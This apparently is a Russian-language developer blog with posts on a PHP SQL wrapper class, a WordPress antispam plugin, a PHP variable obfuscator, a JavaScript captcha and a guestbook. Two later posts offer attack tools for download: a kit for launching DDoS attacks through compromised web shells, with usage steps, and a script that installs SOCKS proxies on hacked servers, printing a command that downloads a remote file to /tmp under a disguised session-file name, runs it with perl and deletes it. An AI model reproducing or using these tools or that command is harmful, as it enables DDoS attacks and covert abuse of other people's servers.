Март 31

SQL class - класс упрощающий работу с SQL

Конечно существует много подобных классов, но многие из них перегружены лишними функциями, и вовсе не упрощают работу, некоторые наоборот пытаясь упростить объединяют  “Выполнение запроса” и “получение результирующих данных” в одну операцию что в некоторых случаях доставляет проблеммы.

В моем классе реализовано:

Удобное получение результатов

Удобный интерфейс отслеживания и обработки ошибок

Удобный интерфеус отслеживания запросов (для отладки)

Система placeholder-ов повышает безопасность приложения

метды класса  SQL

	void setErrorHandler(string $function)
	void setQueryHandler(string $function)
	bool Connect([ string $server  [, string $username  [, string $password  [, string $database]]]] )
	bool SelectDB(string $database)
	void SetPrefix(string $replace_to [, string $replace_from = '_#'] )
	SQLres Query(string $query [, mixed $args...] )
	int InsertID(void)
	int AffectedRows(void)
	bool Close(void)
	string SmartEscapeString(string $str)

метды класса SQLres

	array Fetch([int $result_type = MYSQL_ASSOC])
	int NumRows(void)
	int NumFields(void)
	bool DataSeek(int $row_number)
	bool FreeResult(void)
	string Element(string $key)

void setErrorHandler(string $function)

Задает имя функции, обработчика ошибок. При возникновении ошибки будет вызываться функция $function и ей передаваться 3и аргумента:

1 - из за чего возникла ошибка

2 - какая возникла ошибка

3 - имя_файл:строка где произошла ошибка

void setQueryHandler(string $function)

задает имя функции для обработки запросов. При каждом новом SQL запросе будет вызываться функция $function и ей передаваться 4и аргумента:

1 - sql запрос

2 - успешность его выполнения (bool)

3 - врем выполнения запроса

4 - имя_файл:строка откуда был запрос

Данная функция полезна при отладки приложения.

function log_mysql_querys($q, $r, $t, $p)
{
  GLOBAL $DB
  if($r)
    echo '<fieldset><strong>QUERY</strong>: '.$q.'<strong>AFFECTED</strong>: '.$DB-&gt;AffectedRows().' <strong>TIME</strong>: '.$t.'<strong>LINE</strong>: '.$p.'</fieldset>';
}
 
function log_mysql_errors($q, $e, $p)
{
  echo '<fieldset style="border: 3px solid red"><strong>QUERY</strong>: '.$q.'<strong>ERROR</strong>: '.$e.'<strong>LINE</strong>: '.$p.'</fieldset>';
}
 
$DB = new SQL;
$DB-&gt;setErrorHandler('log_mysql_errors');
$DB-&gt;setQueryHandler('log_mysql_querys');

bool Connect([ string $server  [, string $username  [, string $password  [, string $database  ]]]] )
соединение с сервером, тут думаю все понятно…

if(!$DB-&gt;Connect('localhost', 'root', '123'))
 exit;

bool SelectDB(string $database)

выбираем базу данных

if(!$DB-&gt;SelectDB('base'))
 exit;

void SetPrefix(string $replace_to [, string $replace_from = '_#'])
Устанавливаем префикс. Во всех запросах текст $replace_from будет заменяться на текст $replace_to

$DB-&gt;SetPrefix('asd_', 'pref_');
//будет заменять pref_ на asd_
 
$DB-&gt;SetPrefix('asd_');
//будет заменять #_ на asd_

SQLres Query(string $query [, mixed $args... ] )
Выполняет SQL запрос.
$query - сам SQL запрос, все поседующие аргументы для placeholder-ов.
Варианты placeholder-ов:
%d подставляет (int)
%s    подставляет строку обрамленную в ковычки, есле необходимо эканирует спец символы
%a    подставляет массив
%%    подставляет %

$id = 10;
$DB-&gt;Query('SELECT * FROM #_users WHERE id = %d LIMIT 1', $id)
//Выполнит: SELECT * FROM asd_users WHERE id = 10 LIMIT 1
 
$id = 'asd34sd';
$DB-&gt;Query('SELECT * FROM #_users WHERE id = %d LIMIT 1', $id)
//Выполнит: SELECT * FROM asd_users WHERE id = 34 LIMIT 1
 
$id = 'sometext';
$DB-&gt;Query('SELECT * FROM #_users WHERE id = %d LIMIT 1', $id)
//Выполнит: SELECT * FROM asd_users WHERE id = 0 LIMIT 1
 
$text = 'somename';
$DB-&gt;Query('SELECT * FROM #_users WHERE name = %s LIMIT 1', $text)
//Выполнит: SELECT * FROM asd_users WHERE name = 'somename' LIMIT 1
 
$a = array(1, 2, 5, 8);
$DB-&gt;Query('SELECT * FROM #_users WHERE id IN(%a)', $a)
//Выполнит: SELECT * FROM asd_users WHERE id IN(1, 2, 5, 8)
 
$a = array('id' =&gt; 10, 'name' =&gt; 'some..');
$DB-&gt;Query('UPDATE #_users SET %a', $a)
//Выполнит: UPDATE asd_users SET `id` = 10, `name` = 'some..'

int InsertID(void)
Возвращает ID, сгенерированный при последнем INSERT-запросе.

int AffectedRows(void)
Возвращает число затронуиых прошлой операцией рядов.

bool Close(void)
Закрывает текущее соединение с бд

——————————————————————
class SQLres

array Fetch([int $result_type = MYSQL_ASSOC])
int NumRows(void)
int NumFields(void)
bool DataSeek(int $row_number)
bool FreeResult(void)
string Element(string $key)

array Fetch([int $result_type = MYSQL_ASSOC])
Обрабатывает ряд результата запроса, возвращая ассоциативный массив (по умолчанию), численный массив или оба.

$users = $DB-&gt;Query('SELECT name FROM #_users WHERE');
while($user-&gt;Fetch())
 echo $user-&gt;name;
 
//либо так
$users = $DB-&gt;Query('SELECT name FROM #_users WHERE');
while($user-&gt;Fetch())
 echo $user-&gt;Element('name');
 
//либо так
$users = $DB-&gt;Query('SELECT name FROM #_users WHERE');
while($user-&gt;Fetch(MYSQL_NUM))
 echo $user-&gt;Element(0);
 
//либо так
$users = $DB-&gt;Query('SELECT name FROM #_users WHERE');
while($a = $user-&gt;Fetch())
 echo $a[name];

int NumRows(void)
Возвращает количество рядов результата запроса

int NumFields(void)
Возвращает количество полей результата запроса

bool DataSeek(int $row_number)
Перемещает внутренний указатель в результате запроса

FreeResult()
Освобождает память от результата запроса

Скачать SQL class v1.7 Обновлен 24.10.09

written by admin \\ tags: , , ,

Фев 27

imagesJSantispam WP edition - это плагин для WordPres предназначенный для борьбы со спамом в комментариях. Он позволяет добавлять сообщения пользователям, не требую от них никаких дополнительных действий, при этом значительно усложняет жизнь ботам.  Для тог чтобы пользователь мог оставлять комментарии  у него в браузере должна быть включена поддержка JavScript. Также требуется php5 на сервере.
C алгоритмом примененным в данной защите можно ознакомиться ТУТ

Установка максимальна проста:

  1. Скачайте и распакуйте архив
  2. загрузите плагин на сервер
  3. Активируйте его в админпанели

Готово! Никаких дополнительных настроек не требуется.

Внимание! Данный плагин предназначен для защиты от спама рассылаемого РОБОТАМИ а не долбаебами. Если вы в ручную добавляете какойто безсмысленный комент, и он проходит это не значит что плагин не работает!

Скачать JSantispam WP edition v1.1

written by admin \\ tags: , , , , ,

Фев 24

Обфускация - это процесс затруднения понимания кода, при этом сохраняя его работоспособность. Иногда необходим для некотоых участков кода. Решил написать простенький абфускатор который будет изменять имена переменных, посмотрим насколько это затруднит понимание программы;)
Если порыться в официальной документации по PHP и посмотреть ограничения на имена переменных, мы видим следующее:
имя переменной в PHP может состоять из любых символов, код ASCII которых старше 127, это значит что переменная может состоять и из русских букв, и даже из некоторых непечатных символов.

Написал класс который заменяет имена переменных на новые, генерированные из определенных символов.

Для примера скормим скрипту такой код:

	function fxor($string, $key)
	{
		$slen=strlen($string);
		$klen=strlen($key);
		for($i=0, $j=0; $i < $slen; $i++, $j++)
		{
			if($j == $klen)
				$j=0;
			$string[$i] = $string[$i] ^ $key[$j];
		}
		return $string;
	}

На выходи получаем:

function fxor($   , $    )
	{
		$     =strlen($   );
		$      =strlen($    );
		for($       =0, $        =0; $       <$     ; $       ++, $        ++)
		{
			if($         == $      ) 
				$        =0;
			$   [$       ] = $   [$       ] ^ $    [$        ];
		}
		return $   ;
	}

Такой вот забавный код) Имена переменных заменены на переменные состоящие из непечатного символа xA0
Восприятие кода немного затруднилось. Еще можно убрать все символы n и r получим:

function fxor($   , $    )  	{  		$     =strlen($   );  		$      =strlen($    );  		for($       =0, $        =0; $       <$     ; $       ++, $        ++)  		{  			if($         == $      )   				$        =0;  			$   [$       ] = $   [$       ] ^ $    [$        ];  		}  		return $   ;  	}

Выглядить симпатично))

Онлайн версию скрипта можно потестить тут: http://blog.taran.su/development/obfuscator/
Скачать исходники ТУТ

written by admin \\ tags: ,

Янв 20

Сейчас при стремительном развитие Интернета очень остро стоит проблема спама/флуда и прочих видов нежелательных сообщений, в результате этого даже на самых простых гостевых книгах/формах стоят капчи, что в большинстве случаев очень напрягает тем более что угадывать значение получается не всегда с первого раза.
Идея защиты от спама средствами JavaScript состоит в следующем:

  1. На страницу в форму добавляем скрытое поле с определенным именем и ID
  2. средствами php генерируем уникальный ключ, генерируем JS скрипт который будет присваивать значение этого ключа скрытому полю по его ID
  3. Производим абфускацию JS кода, и выполняем его в браузере пользователя.
    (Абфускация кода нужна для того чтобы ключ не выводился на странице в открытом виде, а получался в результате выполнения скрипта)
  4. При субмите формы проверяем значение скрытого поля, и сгенерированного ключ, если значения совпадают значит все OK.

Такая схема не требует от пользователя никаких действий, у него всего лиш должен быть включен JavaScript, а вот спамерам жизнь затруднит. Конечно значение ключа можно выдрать из DOM и пройти проверку, НО для этого необходимо выполнить JS код средствами спамера , т.к. это не линейная задача (не для PHP) 90% быдло-кодеров с этим не справятся;)

Скриптов по обфускации JS довольно много (я использовал Dean Edwards JavaScript Packer) поэтому задача свелась к написанию функции генератора кода и функции проверки ключа.

array gen_js_key()

Функция для генерация ключа и кода.  Возвращает ассоциативный массив, значение ключа сохраняет в $_SESSION['js_key']

Ключи возврашаемого массива:

[js_key] - униальный ключ

[input] - скрытое поле с уникальным именем и id

[js] - абфусцированный JS код для ыполнения на стороне юзера

bool check_js_key()

Проеряет ключ. Нужно вызывать после субмита формы.

Пимер использования:

<? 
	include('JavaScriptCaptcha.php');
 
	if(!empty($_POST['knopka']))
	{
		if(check_js_key())
			echo 'вы ввели <b>'.htmlspecialchars($_POST['txt']).'</b><br>';
		else 
			echo 'Ключ не подходит<br>';
	}
 
?>
<div id="testjs">
	<h1><b>JavaScript отключен! включите..</b></h1>
</div>
<body OnLoad="JavaScript:window.document.getElementById('testjs').style.display = 'none'">
<form method=post>
	<input type=text name=txt>
<?
	$r = gen_js_key();
	echo $r['input'];
?>
<input type=submit name=knopka>
</form>
<script type="text/javascript">
	<?=$r['js']?>
</script>

Скачать JScaptcha.rar v1.1

В архиве 3и файла:
class.JavaScriptPacker.php – класс обйускации JS
JavaScriptCaptcha.php – файл с необходимыми функциями для генерации и проверки кода
Index.php – пример использования


written by admin \\ tags: , , ,

Янв 12

Shell Dddos-net набор скриптов позволяющий осуществлять Ddos атаки через шелы.
Скрипту для работы даеться список шелов, он автоматически определяет их тип и прогружает свой скрипт, через который в дальнейшем и происходят атаки.

[Установка]
Распаковуем архив. Открываем файл cfg.php, прописуем url к директории где будет находиться скрипт. Здесь же можно добавлять новые типы шелов.
Заливаем на сервак (тот который прописали в конфиге), выставляем права на *.txt файлы 666

[Использование]
Клацаем на вкладочку Load Shell указуем файл со списком шелов (каждый с новой строки) клацаем load. Когда скрипт закончит работу, напишет скок файлов было прогруженно.
На вкладке DDos вбиваем URl сайта, Time - продолжительность атаки в секундах, и Thr - кол-во запусков каждого скрипта (типа патоки). Опционально можно задать User-agent, Referer, и порт. Клацаем Ddos и ждем пару минут пока все запуститься. Все)
Вкладка Check предназначена для проверки уже прогруженных скрипто на валидность.

Скачать Shell Ddos-net v1.0

written by admin \\ tags: , ,

Дек 16

Небольшая гостевая книга написана с применением php + mysql + ajax .

Для защиты от спама есть капча.

Пользователь без всякой регистрации может удалить и редактировать свои сообщения.

Поддерживает dd теги.

Для установки заливаем дамп из base.sql  и настраиваем конфигурацию в файле config.php.

Скачать ajax guestbook

Пример работы тут

written by admin \\ tags: , ,

Дек 15

Небольшой скрипт предназначенный для установки socks на сервера через шелы.
В качестве параметров в скрипт вводиться команда для выполнения, и список шелов. После запуска скрипт автоматически определяет тип каждого шела, и выполняет на нем команду по умолчанию это:

cd  /tmp/;wget http://locslhost/s5.txt;mv s5.txt sess_viitqdg7l14ffo9nmtts6r94;perl sess_viitqdg7l14ffo9nmtts6r94;rm sess_viitqdg7l14ffo9nmtts6r94

где http://locslhost/s5.txt это адрес файла с сокс сервером. После этого подключаеться на указыный порт, и проверяет удалось ли запустить сокс. Результат сохраняет в лог файлы. Скрипт писался на “скорою руку” поэтому функционал минимален

Скачать

written by admin \\ tags: , ,